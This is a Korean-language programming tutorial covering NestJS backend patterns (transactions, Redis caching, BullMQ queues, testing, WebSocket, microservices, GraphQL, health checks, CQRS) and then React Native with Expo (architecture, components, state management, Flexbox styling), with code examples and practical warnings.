DB 접근만 쿼리와 매핑. 비즈니스 판단을 여기 넣지 마세요.
트랜잭션 경계는 서비스에 두세요. 컨트롤러에 두면 HTTP 와 묶이고, 리포지토리에 두면 여러 저장을 하나로 묶을 수 없습니다.
트랜잭션의 경계는 서비스입니다 — 컨트롤러도 저장소도 아닙니다 Controller HTTP 입출력만 Service 업무 규칙 · 트랜잭션 경계 OrderRepository StockRepository 이 둘은 같은 트랜잭션 안에서 실행되어야 합니다 — 하나만 성공하면 재고가 어긋납니다 흔한 실수 저장소마다 각자 트랜잭션을 열기 — 묶이지 않습니다 컨트롤러에서 트랜잭션 열기 — HTTP 가 업무를 압니다 트랜잭션 안에서 외부 API 호출하기 — 락이 오래 걸립니다 Nest 에서 하는 법 Prisma — prisma.$transaction([...]) 또는 콜백 형태 TypeORM — DataSource.transaction 으로 감싸고 그 매니저를 저장소들에 넘겨 같은 트랜잭션을 공유
계층을 나누는 목적은 "어디까지가 한 덩어리인가"를 코드로 표시하는 것입니다.
NEST 13

캐시 · 큐 (BullMQ)

응답 속도와 안정성을 동시에 올리는 두 가지 장치입니다.

캐시

npm i @nestjs/cache-manager cache-manager @keyv/redis
CacheModule.registerAsync({
  isGlobal: true,
  inject: [ConfigService],
  useFactory: (cfg) => ({
    stores: [new KeyvRedis(cfg.getOrThrow("REDIS_URL"))],
    ttl: 60_000,                     // 기본 60초
  }),
})
// ① 자동 캐시 (GET 응답 전체)
@UseInterceptors(CacheInterceptor)
@CacheTTL(300_000)
@Get()
findAll() { ... }

// ② 직접 제어 — 실무에서는 이쪽이 더 많습니다
constructor(@Inject(CACHE_MANAGER) private cache: Cache) {}

async findOne(id: number) {
  const key = `user:${id}`;
  const hit = await this.cache.get<User>(key);
  if (hit) return hit;

  const user = await this.repo.findById(id);
  // ★ TTL 에 랜덤을 섞어 동시 만료를 피합니다 (🚀 대규모 k04)
  await this.cache.set(key, user, 300_000 + Math.random() * 60_000);
  return user;
}

async update(id: number, dto: UpdateUserDto) {
  const user = await this.repo.update(id, dto);
  await this.cache.del(`user:${id}`);     // ★ 수정이 아니라 삭제
  return user;
}

큐 — 오래 걸리는 일은 넘기세요

npm i @nestjs/bullmq bullmq
BullModule.forRootAsync({
  inject: [ConfigService],
  useFactory: (cfg) => ({
    connection: { url: cfg.getOrThrow("REDIS_URL") },
    defaultJobOptions: {
      attempts: 3,
      backoff: { type: "exponential", delay: 1000 },   // 재시도 1s → 2s (attempts 3 = 첫 시도 + 재시도 2번)
      removeOnComplete: { age: 3600, count: 1000 },     // ★ 안 지우면 Redis 가 참
      removeOnFail: { age: 86400 },
    },
  }),
}),
BullModule.registerQueue({ name: "email" })
// 작업 넣기 — 컨트롤러는 즉시 응답합니다
constructor(@InjectQueue("email") private emailQueue: Queue) {}

await this.emailQueue.add("welcome", { userId },
  { delay: 5000, jobId: `welcome:${userId}` });   // ★ jobId 로 중복 방지

// 처리하기
@Processor("email", { concurrency: 5 })
export class EmailProcessor extends WorkerHost {
  async process(job: Job<{ userId: number }>) {
    await job.updateProgress(50);
    await this.mailer.sendWelcome(job.data.userId);
  }

  @OnWorkerEvent("failed")
  onFailed(job: Job, err: Error) {
    this.logger.error({ jobId: job.id, attempts: job.attemptsMade, err });
  }
}
큐 작업은 반드시 멱등해야 합니다. 재시도로 같은 작업이 두 번 실행될 수 있습니다. 메일이 두 번 가는 건 참을 만해도 결제가 두 번 되면 사고입니다. jobId 로 중복 등록을 막고, 처리 쪽도 멱등하게 만드세요 (🚀 대규모 트래픽 k06).
큐 — 오래 걸리는 일은 접수만 하고 나중에 처리합니다 API 요청 메일 1만 통 발송 큐에 작업 추가 Redis 에 저장 · 즉시 202 워커가 꺼냄 별도 프로세스 완료 completed 실패하면 재시도 — 간격을 늘려 가며 정해진 횟수만큼 재시도 간격이 4배씩 벌어집니다 — 세 번 다시 시도하는 동안 63초가 지납니다 첫 시도 63초 — failed 로 3초 12초 48초 0 20 40 60 경과(초) 작업은 두 번 실행될 수 있습니다 — 처리 코드는 멱등하게 만드세요 사용자에게는 진행 상태를 따로 알려 줘야 합니다 — 조회 API · SSE · 웹소켓 중 하나 워커를 API 와 같은 프로세스에 두면 큐를 쓴 의미가 없습니다 — 반드시 분리하세요
큐의 목적은 빨라지는 것이 아니라 느린 일이 빠른 일을 막지 않게 하는 것입니다.
NEST 14

테스트

Nest 는 테스트 모듈을 제공합니다. DI 덕분에 가짜 끼우기가 쉽습니다.

단위 테스트

describe("UsersService", () => {
  let service: UsersService;
  let repo: { findByEmail: Mock; save: Mock };

  beforeEach(async () => {
    repo = { findByEmail: vi.fn(), save: vi.fn() };

    const module = await Test.createTestingModule({
      providers: [
        UsersService,
        { provide: UsersRepository, useValue: repo },      // ★ 가짜 주입
        { provide: EventEmitter2, useValue: { emit: vi.fn() } },
      ],
    }).compile();

    service = module.get(UsersService);
  });

  it("이메일이 중복이면 ConflictException", async () => {
    repo.findByEmail.mockResolvedValue({ id: 1 });
    await expect(service.create(dto)).rejects.toThrow(ConflictException);
  });

  it("정상 생성 시 이벤트를 발행한다", async () => {
    repo.findByEmail.mockResolvedValue(null);
    repo.save.mockResolvedValue({ id: 1, ...dto });
    await service.create(dto);
    expect(repo.save).toHaveBeenCalledOnce();
  });
});

E2E 테스트

describe("Users (e2e)", () => {
  let app: INestApplication;

  beforeAll(async () => {
    const module = await Test.createTestingModule({
      imports: [AppModule],
    })
      .overrideProvider(MailService)          // ★ 외부 연동만 교체
      .useValue({ send: vi.fn() })
      .overrideGuard(ThrottlerGuard)          // 테스트에서는 rate limit 끄기
      .useValue({ canActivate: () => true })
      .compile();

    app = module.createNestApplication();
    app.useGlobalPipes(new ValidationPipe({ whitelist: true }));  // ★ main.ts 와 동일하게
    await app.init();
  });

  afterAll(() => app.close());

  it("POST /users → 201", () =>
    request(app.getHttpServer())
      .post("/users")
      .send({ email: "a@b.c", password: "12345678", name: "김" })
      .expect(201)
      .expect(res => expect(res.body).not.toHaveProperty("passwordHash")));

  it("잘못된 이메일 → 400", () =>
    request(app.getHttpServer())
      .post("/users").send({ email: "x" }).expect(400));
});
E2E 에서 전역 파이프·필터를 빠뜨리는 실수가 흔합니다. main.ts 에서만 등록하면 테스트 앱에는 적용되지 않아 검증이 안 도는 상태로 통과합니다. 공통 설정 함수를 만들어 양쪽에서 호출하세요.
DB 는 Testcontainers 로 진짜를 쓰세요. 인메모리 DB 로 통과한 테스트는 운영에서 안 통합니다 — 트랜잭션·락·제약 조건 동작이 다릅니다(🚂 Express x11).
NEST 15

WebSocket · MSA · GraphQL

같은 구조를 그대로 확장합니다. 컨트롤러만 바뀝니다.

WebSocket — 실시간

npm i @nestjs/websockets @nestjs/platform-socket.io socket.io
@WebSocketGateway({ cors: true, namespace: "/chat" })
export class ChatGateway implements OnGatewayConnection {
  @WebSocketServer() server: Server;

  async handleConnection(client: Socket) {
    const token = client.handshake.auth.token;
    try {
      client.data.user = this.jwt.verify(token);     // ★ 연결 시 인증
    } catch {
      client.disconnect();
    }
  }

  @SubscribeMessage("message")
  async onMessage(@MessageBody() dto: MessageDto,
                  @ConnectedSocket() client: Socket) {
    const saved = await this.chatService.save(dto, client.data.user.id);
    this.server.to(dto.roomId).emit("message", saved);
    return { ok: true };                              // ack
  }
}
서버가 여러 대면 소켓이 갈라집니다. A 서버에 붙은 사용자와 B 서버에 붙은 사용자가 서로 메시지를 못 받습니다. Redis 어댑터(@socket.io/redis-adapter)를 반드시 붙이세요 (🚀 대규모 트래픽 k11).

마이크로서비스

// 서비스 쪽 — HTTP 대신 메시지로 통신
const app = await NestFactory.createMicroservice(AppModule, {
  transport: Transport.REDIS,           // 또는 KAFKA · RMQ · TCP · gRPC
  options: { host: "redis", port: 6379 },
});

@MessagePattern("order.create")       // 요청-응답
async create(@Payload() dto: CreateOrderDto) { ... }

@EventPattern("order.created")        // 단방향 이벤트
async onCreated(@Payload() event: OrderCreatedEvent) { ... }

// 호출하는 쪽
constructor(@Inject("ORDER_SERVICE") private client: ClientProxy) {}
const order = await firstValueFrom(this.client.send("order.create", dto));
this.client.emit("order.created", event);      // 응답을 안 기다림

GraphQL — 코드 우선 방식

@ObjectType()
export class User {
  @Field(() => Int) id: number;
  @Field() email: string;
  @Field(() => [Order]) orders: Order[];
}

@Resolver(() => User)
export class UsersResolver {
  @Query(() => [User])
  users(@Args("keyword", { nullable: true }) keyword?: string) { ... }

  @ResolveField(() => [Order])
  orders(@Parent() user: User) {
    return this.loader.ordersByUser.load(user.id);   // ★ DataLoader 로 N+1 방지
  }
}
GraphQL 도입 전에 생각할 것 — N+1·캐싱·요청 복잡도 제한(depth limit)을 직접 해결해야 합니다. 클라이언트가 하나뿐이라면 REST 가 대개 더 단순합니다. 여러 종류의 클라이언트가 서로 다른 데이터를 요구할 때 값을 합니다.
NEST 16

배포 · 모니터링

운영에 넘기기 전에 이것만은 확인하세요.

헬스체크

npm i @nestjs/terminus
@Controller("health")
export class HealthController {
  constructor(
    private health: HealthCheckService,
    private db: TypeOrmHealthIndicator,
    private memory: MemoryHealthIndicator,
  ) {}

  // ★ liveness — 프로세스가 살아 있는지만 (의존성 검사 X)
  @Get("live")
  @Public()
  live() { return { status: "ok" }; }

  // ★ readiness — 트래픽을 받을 준비가 됐는지 (의존성 포함)
  @Get("ready")
  @Public()
  @HealthCheck()
  ready() {
    return this.health.check([
      () => this.db.pingCheck("database", { timeout: 1500 }),
      () => this.memory.checkHeap("memory_heap", 512 * 1024 * 1024),
    ]);
  }
}
liveness 에 DB 검사를 넣지 마세요. DB 가 잠깐 흔들리면 모든 파드가 동시에 재시작되어 장애가 몇 배로 커집니다. DB 의존성은 readiness 에만.

우아한 종료

app.enableShutdownHooks();          // ★ main.ts

@Injectable()
export class GracefulService implements OnApplicationShutdown {
  async onApplicationShutdown(signal: string) {
    this.logger.log(`${signal} 수신 — 정리 시작`);
    await this.queue.close();        // 진행 중인 작업 완료 대기
    await this.redis.quit();
  }
}

관측 · 문서

// Prometheus 메트릭
import { PrometheusModule } from "@willsoto/nestjs-prometheus";
imports: [PrometheusModule.register({ path: "/metrics" })]

// OpenTelemetry 분산 추적 (🚀 대규모 k12)
// Swagger 자동 문서
const config = new DocumentBuilder()
  .setTitle("My API").setVersion("1.0")
  .addBearerAuth()
  .build();
SwaggerModule.setup("docs", app, SwaggerModule.createDocument(app, config));
// ★ 운영에서는 인증을 걸거나 비활성화하세요

배포 체크리스트

  • ☐ NODE_ENV=production · npm ci --omit=dev
  • ☐ 환경 변수 검증 스키마가 동작하는가 (s10)
  • ☐ synchronize: false · 마이그레이션으로 스키마 관리
  • ☐ 전역 ValidationPipe 의 whitelist 켜짐
  • ☐ 응답에 비밀번호 해시가 안 나가는가 (s09)
  • ☐ liveness / readiness 분리
  • ☐ enableShutdownHooks + Dockerfile 이 node 직접 실행
  • ☐ Swagger 가 운영에 열려 있지 않은가
  • ☐ 로그가 JSON 한 줄인가 (nestjs-pino)
Nest 앱의 콜드 스타트는 느립니다(모듈 스캔·데코레이터 처리). 서버리스에 올릴 계획이라면 미리 측정하세요. 컨테이너라면 readiness 프로브로 트래픽 투입을 늦추면 됩니다. 운영 전반은 🚀 대규모 트래픽 탭에서 이어집니다.
NEST 17

CQRS · 고급 구조

규모가 커진 서비스에서 Nest 를 더 밀어붙이는 방법들입니다.

CQRS — 읽기와 쓰기를 나누기

npm i @nestjs/cqrs
// 명령 — 상태를 바꿉니다
export class CreateOrderCommand {
  constructor(readonly userId: number, readonly items: OrderItem[]) {}
}

@CommandHandler(CreateOrderCommand)
export class CreateOrderHandler implements ICommandHandler<CreateOrderCommand> {
  constructor(private readonly repo: OrderRepository,
              private readonly publisher: EventPublisher) {}

  async execute(cmd: CreateOrderCommand) {
    const order = this.publisher.mergeObjectContext(Order.create(cmd));
    await this.repo.save(order);
    order.commit();                    // ★ 쌓인 도메인 이벤트를 한 번에 발행
    return order.id;
  }
}

// 조회 — 상태를 안 바꿉니다 (읽기 전용 모델·복제본을 써도 됩니다)
@QueryHandler(GetOrderListQuery)
export class GetOrderListHandler {
  async execute(q: GetOrderListQuery) {
    return this.readDb.query(...);     // ★ 정규화를 깬 뷰 테이블도 가능
  }
}

// 이벤트 — 부수 효과
@EventsHandler(OrderCreatedEvent)
export class SendMailOnOrderCreated implements IEventHandler<OrderCreatedEvent> {
  handle(e: OrderCreatedEvent) { this.queue.add("mail", { id: e.orderId }); }
}
CQRS 를 기본값으로 삼지 마세요. 파일 수가 3~4배로 늘고, 단순 CRUD 에는 순수한 오버헤드입니다. 읽기와 쓰기의 요구가 확연히 다를 때 (쓰기는 복잡한 규칙, 읽기는 대량 조회·다른 형태)만 값을 합니다.

동적 모듈 · 커스텀 프로바이더

// 사내 공통 모듈을 만들 때의 표준 형태
@Module({})
export class TracingModule {
  static forRootAsync(options: TracingAsyncOptions): DynamicModule {
    return {
      module: TracingModule,
      global: true,
      imports: options.imports ?? [],
      providers: [
        {
          provide: TRACING_OPTIONS,
          useFactory: options.useFactory,
          inject: options.inject ?? [],
        },
        TracingService,
      ],
      exports: [TracingService],
    };
  }
}

// ConfigurableModuleBuilder — 위 보일러플레이트를 자동 생성 (Nest 9+)
export const { ConfigurableModuleClass, MODULE_OPTIONS_TOKEN } =
  new ConfigurableModuleBuilder<TracingOptions>().setClassMethodName("forRoot").build();

export class TracingModule extends ConfigurableModuleClass {}
// 요청 컨텍스트 전파 — REQUEST 스코프보다 훨씬 빠릅니다
import { ClsModule, ClsService } from "nestjs-cls";

ClsModule.forRoot({
  global: true,
  middleware: {
    mount: true,
    setup: (cls, req) => {
      cls.set("requestId", req.headers["x-request-id"] ?? randomUUID());
      // ★ 여기서 req.user 는 아직 없습니다 — 미들웨어는 가드(인증)보다 먼저 돕니다.
      //   userId 는 인증 가드나 인터셉터에서 cls.set("userId", ...) 로 넣으세요
    },
  },
});

// 어디서든 꺼내 씁니다 (매개변수로 안 넘겨도 됩니다)
constructor(private readonly cls: ClsService) {}
this.logger.log({ requestId: this.cls.get("requestId") }, "주문 생성");
// ★ 내부적으로 AsyncLocalStorage 를 씁니다 (🟩 Node n16)
// ★ 트랜잭션 전파(s12)도 같은 원리입니다
Scope.REQUEST 를 피해야 하는 이유 — 요청마다 의존성 트리 전체를 새로 만듭니다. 그 프로바이더를 주입받는 상위 프로바이더도 전부 요청 스코프가 되어 성능이 눈에 띄게 떨어집니다. 요청 정보가 필요하면 CLS(AsyncLocalStorage) 를 쓰세요.
CQRS — 바꾸는 길과 읽는 길을 아예 나눕니다 Command 주문 생성 · 취소 핸들러 — 규칙 검증 여기에만 비즈니스 규칙 쓰기 모델 정규화된 원본 데이터 이벤트 발행 읽기 모델 화면 모양 그대로 미리 계산 조회 핸들러 조인 없이 그대로 반환 Query 목록 · 대시보드 두 모델 사이에 시차가 생깁니다 — 방금 바꾼 값이 목록에 늦게 뜰 수 있습니다 읽기와 쓰기의 부하나 모양이 확연히 다를 때만 값이 있습니다 — 아니면 코드만 두 배가 됩니다
CQRS 를 도입할 이유는 멋짐이 아니라 목록 쿼리가 도저히 안 빨라질 때입니다.
REACT NATIVE 0.86 · New Architecture 단독

웹뷰가 아니라
진짜
네이티브 화면

React Native 는 자바스크립트로 로직을 쓰고, 화면은 진짜 네이티브 부품으로 그립니다. 안드로이드·iOS 를 하나의 코드로 만들 수 있고, 웹 개발 경험이 거의 그대로 이어집니다 — 다만 다른 점이 분명히 있습니다. 여기까지 마치면 스토어에 올릴 앱을 혼자 만들고 60fps 로 다듬어 배포까지 할 수 있습니다.

14SECTIONS
2플랫폼 · 1 코드
60FPS 목표
0.86Expo SDK 57 기준
RN 01

RN 이 동작하는 원리

여기를 이해하면 성능 문제의 원인이 전부 보입니다.

옛 아키텍처 — 브리지

[JS 스레드]        [브리지]        [네이티브 UI 스레드]
  React 로직   ──JSON 직렬화──>   실제 화면 그리기
              <──비동기·배치───

문제
  · 모든 통신이 JSON 직렬화 → 비용이 큼
  · 완전 비동기 → 스크롤 중 흰 화면이 보이는 원인
  · JS 스레드가 막히면 → 터치·애니메이션이 전부 멈춤

New Architecture — 이제 이것만 남았습니다

[JS]  ←── JSI (직접 호출) ──→  [C++ / 네이티브]
                                  ↓
        Fabric (새 렌더러) · TurboModules (지연 로딩)

달라진 점
  · JSI — JS 가 네이티브 함수를 직접 호출 (직렬화 없음)
  · Fabric — 동기 레이아웃 가능 → 흰 화면 감소
  · TurboModules — 쓰는 모듈만 로딩 → 시작 속도 개선
  · Hermes V1 — 0.84 부터 기본. 시작 속도·런타임 성능·메모리가 다시 개선됐습니다

여기까지 온 길
  0.68  New Architecture 실험적으로 공개 (옵트인)
  0.76  기본값으로 전환 — 끄는 것도 아직 가능
  0.82  ★ New Architecture 만 남음 (Legacy 를 켤 수 없음)
  0.83  ★ Legacy 코드가 저장소에서 삭제 (Expo SDK 55)
  0.84  Hermes V1 이 기본 엔진
  0.85  Node 20.19.4 이상 요구
  0.86  현재 — Expo SDK 57 이 이 버전을 씁니다 (React 19.2)
아직 Legacy(구 아키텍처)로 돌아가고 있다면 — 0.86 으로 곧장 뛰지 말고 0.81 / Expo SDK 54 로 먼저 올려 그 위에서 New Architecture 를 켜고 문제를 정리한 뒤 넘어오세요. 0.82 부터는 되돌릴 스위치 자체가 없고, 0.83 부터는 Legacy 코드가 저장소에서 사라져 구 아키텍처 전용 네이티브 모듈이 컴파일조차 되지 않습니다.
실무에서 알아야 할 결론 — ① JS 스레드를 막으면 앱 전체가 버벅입니다(무거운 계산 금지), ② 애니메이션은 네이티브 스레드에서 돌려야 60fps 가 나옵니다(r11), ③ 리스트는 화면에 보이는 것만 그려야 합니다(r06).

웹 React 와 다른 점

웹React Native
<div> <span><View> <Text> — 모든 글자는 Text 안에
<img><Image> — 크기를 반드시 지정
CSS 파일StyleSheet.create — 객체, 단위 없음
클릭onPress (Pressable)
스크롤 자동ScrollView·FlatList 필요
기본 방향 row기본이 column
localStorageAsyncStorage · MMKV
라우터 = URL내비게이션 스택
import { View, Text, Pressable, StyleSheet } from "react-native";

export default function Hello({ name }: { name: string }) {
  return (
    <View style={styles.box}>
      <Text style={styles.title}>안녕하세요 {name}님</Text>
      <Pressable style={styles.btn} onPress={() => console.log("탭")}>
        <Text style={styles.btnText}>눌러 보세요</Text>
      </Pressable>
    </View>
  );
}

const styles = StyleSheet.create({
  box:   { padding: 16, gap: 12 },          // ★ gap 지원 (0.71+)
  title: { fontSize: 18, fontWeight: "600" },
  btn:   { backgroundColor: "#2563eb", padding: 12, borderRadius: 8 },
  btnText: { color: "#fff", textAlign: "center" },
});
탭 한 번이 오가는 길 — 화면은 네이티브가 그리고, 판단은 JS 가 합니다 네이티브 UI 스레드 JS 스레드 (Hermes) Fabric 렌더러 (C++) 1. 터치 이벤트 (onPress) 2. setState → 리렌더 · 비교 3. 새 트리 커밋 — JSI 직접 호출 4. Yoga 레이아웃 5. 바뀐 뷰만 Android View · UIView 에 반영 예전 브리지는 3번을 JSON 문자열로 직렬화해 비동기 큐로 보냈습니다 — 빠른 스크롤에서 밀림 그래도 JS 스레드가 막히면 1~3번이 멈춰 화면이 굳습니다 — 무거운 계산은 쪼개세요 애니메이션은 예외를 만들 수 있습니다 — useNativeDriver · Reanimated 를 보세요 웹의 div · span 은 없습니다 — View · Text · Image 가 기본 블록입니다
RN 을 이해하는 핵심 문장 하나 — 화면은 네이티브가, 판단은 JS 가 합니다.
RN 02

Expo vs Bare 선택

처음 시작할 때 가장 중요한 결정입니다. 결론부터: Expo 로 시작하세요.

비교

항목Expo / Bare(순수 RN)
시작1분 / Xcode·Android Studio 설정 필요
네이티브 코드가능(prebuild) / 자유
빌드EAS 클라우드 빌드 / 로컬 빌드 환경 필요
업데이트OTA 지원(EAS Update) / 직접 구축
맥 없이 iOS가능 (EAS) / 불가
라이브러리대부분 호환 / 전부 가능
지금은 Expo 가 사실상 기본입니다. 예전에 “Expo 는 제약이 많다”던 문제는 Config Plugin·prebuild 로 대부분 해결됐고, RN 공식 문서도 Expo 를 권장합니다. 더 큰 이유는 SDK 가 “이 조합은 서로 맞는다”를 보증한다는 점입니다 — RN 버전 · React 버전 · 수십 개 expo-* 모듈의 궁합을 직접 맞추는 일이 Bare 에서 가장 자주 시간을 잡아먹습니다. 2026-08 현재 최신은 Expo SDK 57(React Native 0.86 · React 19.2)입니다.
# 시작
npx create-expo-app@latest my-app --template
cd my-app && npx expo start           # QR 찍으면 실기기에서 바로 확인

# 네이티브 폴더가 필요해지면 (되돌릴 수 있습니다)
npx expo prebuild                      # ios/ android/ 생성

# 빌드 · 배포
npx eas build --platform all
npx eas submit --platform ios

프로젝트 구조 (Expo Router 기준)

app/                       ★ 파일 = 화면 (Next.js 방식)
  _layout.tsx              공통 레이아웃
  index.tsx                → /
  (tabs)/                  탭 그룹
    _layout.tsx
    home.tsx
    profile.tsx
  orders/
    [id].tsx               → /orders/123
  +not-found.tsx
components/                재사용 UI
hooks/                     커스텀 훅
lib/                       api · storage · util
constants/                 색상 · 크기
assets/                    이미지 · 폰트
app.json                   앱 설정 (이름·아이콘·권한)
eas.json                   빌드 프로필
// app.json — 자주 만지는 부분
{
  "expo": {
    "name": "내 앱",
    "slug": "my-app",
    "version": "1.0.0",
    "orientation": "portrait",
    "scheme": "myapp",                    // 딥링크 myapp://
    "ios": { "bundleIdentifier": "com.company.myapp",
             "buildNumber": "1" },
    "android": { "package": "com.company.myapp",
                 "versionCode": 1,
                 "adaptiveIcon": { ... } },
    "plugins": ["expo-router", "expo-secure-store"]
  }
}
번들 ID·패키지명은 나중에 못 바꿉니다. 스토어에 한 번 올라가면 그 앱의 영구 식별자가 됩니다. com.회사.앱이름 형식으로 처음에 신중히 정하세요.
Expo 냐 Bare 냐 — 필요한 네이티브 기능이 있는지로 갈립니다 새 앱을 시작한다 Expo — 대부분 여기서 끝납니다 카메라 · 위치 · 알림 · 인앱결제는 이미 모듈이 있습니다 · 빌드 서버(EAS)도 함께 필요한 SDK 가 없다면 개발 빌드 (Expo 유지) 네이티브 코드를 넣고도 Expo 도구를 그대로 씁니다 Bare — 네이티브 프로젝트 직접 Xcode · Gradle 을 직접 만집니다. 자유롭지만 유지비가 큽니다 Expo 로 시작해 필요할 때 내려가는 순서가 기본입니다 — 반대로 올라오기가 훨씬 번거롭습니다
예전의 "Expo 는 장난감" 이라는 말은 개발 빌드가 생기면서 옛말이 됐습니다.
RN 03

컴포넌트 · JSX · Props

React 를 안다면 이 절은 빠르게 넘어가세요.

기본 컴포넌트

컴포넌트용도
View레이아웃 상자 (div)
Text모든 글자는 여기 안에
Image / expo-image이미지. 후자를 권장(캐시·성능)
Pressable터치 — TouchableOpacity 보다 유연
TextInput입력창
ScrollView적은 항목 스크롤 (전부 렌더링됨)
FlatList목록 — 화면에 보이는 것만 (r06)
SafeAreaView노치·홈바 영역 회피
Modal전체 화면 오버레이
ActivityIndicator로딩 스피너
type Props = {
  title: string;
  subtitle?: string;
  onPress: () => void;
  disabled?: boolean;
};

export function Card({ title, subtitle, onPress, disabled }: Props) {
  return (
    <Pressable
      onPress={onPress}
      disabled={disabled}
      // ★ 눌림 상태에 따라 스타일을 함수로 줄 수 있습니다
      style={({ pressed }) => [
        styles.card,
        pressed && styles.pressed,
        disabled && styles.disabled,
      ]}
      // ★ 접근성 — 스토어 심사와 사용자 경험에 중요합니다
      accessibilityRole="button"
      accessibilityLabel={title}
      hitSlop={8}                       // 터치 영역 확대
    >
      <Text style={styles.title}>{title}</Text>
      {subtitle ? <Text style={styles.sub}>{subtitle}</Text> : null}
      {/* ★ subtitle && … 로 쓰면 빈 문자열 "" 일 때 Text 밖 문자열 에러 (아래 0 함정과 같은 원리) */}
    </Pressable>
  );
}

플랫폼 분기

import { Platform } from "react-native";

// ① 값 분기
const padding = Platform.OS === "ios" ? 20 : 16;

// ② select
const shadow = Platform.select({
  ios: { shadowColor: "#000", shadowOpacity: 0.1, shadowRadius: 8 },
  android: { elevation: 4 },
  default: {},
});

// ③ 파일 분기 — 확장자로 자동 선택
//   Button.ios.tsx / Button.android.tsx / Button.tsx

// 버전 확인
if (Platform.OS === "android" && Platform.Version >= 33) { ... }

자주 만나는 실수

// ❌ Text 밖의 문자열 → 즉시 에러
<View>안녕하세요</View>
// ✅
<View><Text>안녕하세요</Text></View>

// ❌ 조건부 렌더링에서 0 이 그대로 렌더링됨
{items.length && <List />}          // 0 이면 "0" 이 화면에 찍힙니다
// ✅
{items.length > 0 && <List />}

// ❌ 이미지에 크기가 없으면 안 보입니다 (원격 이미지)
<Image source={{ uri }} />
// ✅
<Image source={{ uri }} style={{ width: 100, height: 100 }} />

// ❌ 인라인 스타일 객체는 매 렌더마다 새로 생성됩니다
<View style={{ padding: 16 }} />
// ✅ StyleSheet.create 로 밖에서 (r12 성능)
UI 라이브러리를 쓸지 — 디자인 시스템이 정해져 있다면 직접 만드는 편이 낫고, 빠르게 만들어야 하면 React Native Paper(머티리얼)나 Tamagui·NativeWind(Tailwind 문법)를 검토하세요.
Expo UI — SDK 56 부터 stable 인 선택지가 하나 더 생겼습니다. RN 이 자체적으로 그리는 컴포넌트가 아니라 Android 는 Jetpack Compose, iOS 는 SwiftUI 의 진짜 네이티브 컴포넌트를 그대로 노출합니다. 두 플랫폼의 API 가 다르므로 화면을 통째로 공유하기보다는, “여기만큼은 OS 기본 UI 여야 하는 부분”(날짜 선택기·시트·컨텍스트 메뉴 등)에 골라 쓰는 편이 잘 맞습니다.
RN 04

상태 관리

상태를 종류별로 나누는 것이 핵심입니다. 하나로 다 관리하려 하지 마세요.

상태를 네 가지로 나누세요

종류도구
지역 UI 상태useState — 모달 열림, 입력값
서버 데이터TanStack Query ★ (r08) — 절대 직접 관리하지 마세요
전역 클라이언트 상태Zustand — 로그인 정보, 테마, 장바구니
영속 상태MMKV·SecureStore (r09)
실무에서 가장 흔한 잘못 — 서버에서 받은 데이터를 useState 에 넣고 로딩·에러·재요청·캐시를 전부 손으로 관리하는 것입니다. 이 코드는 반드시 버그가 생깁니다. 서버 데이터는 TanStack Query 에 맡기세요.
// 훅 기본
const [count, setCount] = useState(0);
setCount(c => c + 1);                  // ★ 이전 값 기반은 함수형으로

// 비싼 계산 캐시
const sorted = useMemo(() => items.toSorted(cmp), [items]);

// 함수 재생성 방지 (자식이 memo 일 때 의미 있음)
const onPress = useCallback((id: string) => navigate(id), [navigate]);

// 부수 효과 — ★ 정리 함수를 꼭 반환하세요
useEffect(() => {
  const sub = AppState.addEventListener("change", handler);
  return () => sub.remove();           // 안 지우면 메모리 누수
}, []);

Zustand — 전역 상태

npm i zustand
import { create } from "zustand";
import { persist, createJSONStorage } from "zustand/middleware";
import AsyncStorage from "@react-native-async-storage/async-storage";

type AuthState = {
  user: User | null;
  login: (u: User) => void;
  logout: () => void;
};

export const useAuth = create<AuthState>()(
  persist(
    (set) => ({
      user: null,
      login: (user) => set({ user }),
      logout: () => set({ user: null }),
    }),
    {
      name: "auth",
      storage: createJSONStorage(() => AsyncStorage),
      partialize: (s) => ({ user: s.user }),      // ★ 저장할 것만
    },
  ),
);

// 사용 — ★ 필요한 조각만 구독해야 불필요한 리렌더가 없습니다
const user = useAuth(s => s.user);
const logout = useAuth(s => s.logout);

// ❌ 전체를 구독하면 아무 값이나 바뀔 때마다 리렌더됩니다
const { user, logout } = useAuth();
Context 로 전역 상태를 만들 때 주의 — 값이 바뀌면 그 Context 를 쓰는 모든 컴포넌트가 리렌더됩니다. 자주 바뀌는 값(입력값·스크롤 위치)에는 Context 를 쓰지 마세요. Zustand 는 구독한 조각만 리렌더합니다.
RN 05

스타일 · Flexbox

웹 CSS 와 비슷하지만 기본값이 다릅니다.

웹 CSS 와 다른 점

· 기본 flexDirection 이 column  (웹은 row)
· 모든 View 가 이미 display:flex
· 단위가 없습니다 — 숫자는 dp (밀도 독립 픽셀)
· 상속이 없습니다 — 부모의 fontSize 가 자식에 안 내려감
  (단, Text 안의 Text 는 예외)
· 축약형이 제한적 — margin: "0 auto" 같은 문자열 불가
· % 는 일부만 지원, calc() 없음
· position: fixed 없음 (absolute 만)
· z-index 대신 렌더 순서 + elevation(안드로이드)
const styles = StyleSheet.create({
  container: {
    flex: 1,                        // ★ 남은 공간 다 쓰기
    flexDirection: "row",
    justifyContent: "space-between",// 주축 정렬
    alignItems: "center",           // 교차축 정렬
    gap: 12,                        // 0.71+ 지원
    padding: 16,
  },
  card: {
    flex: 1,                        // 형제끼리 균등 분할
    aspectRatio: 16 / 9,            // 비율 고정
    borderRadius: 12,
    overflow: "hidden",             // ★ iOS 는 이게 있어야 자식이 잘림
  },
  // 그림자는 플랫폼마다 다릅니다
  shadow: Platform.select({
    ios: { shadowColor: "#000", shadowOffset: { width: 0, height: 2 },
           shadowOpacity: 0.1, shadowRadius: 8 },
    android: { elevation: 4 },
  }),
});

화면 크기 대응

import { useWindowDimensions } from "react-native";
import { useSafeAreaInsets } from "react-native-safe-area-context";

function Screen() {
  const { width, height } = useWindowDimensions();   // ★ 회전에 반응
  const insets = useSafeAreaInsets();                // 노치·홈바 여백
  const isTablet = width >= 768;

  return (
    <View style={{ paddingTop: insets.top, paddingBottom: insets.bottom }}>
      <View style={{ width: isTablet ? "50%" : "100%" }} />
    </View>
  );
}

// ❌ Dimensions.get("window") 는 회전 시 갱신되지 않습니다

키보드 대응 — 실무 필수

<KeyboardAvoidingView
  behavior={Platform.OS === "ios" ? "padding" : "height"}
  keyboardVerticalOffset={headerHeight}
  style={{ flex: 1 }}
>
  <ScrollView keyboardShouldPersistTaps="handled">
    <TextInput ... />
  </ScrollView>
</KeyboardAvoidingView>

// ★ keyboardShouldPersistTaps="handled" 가 없으면
//   키보드가 열린 상태에서 버튼을 한 번에 못 누릅니다 (첫 탭은 닫기만)
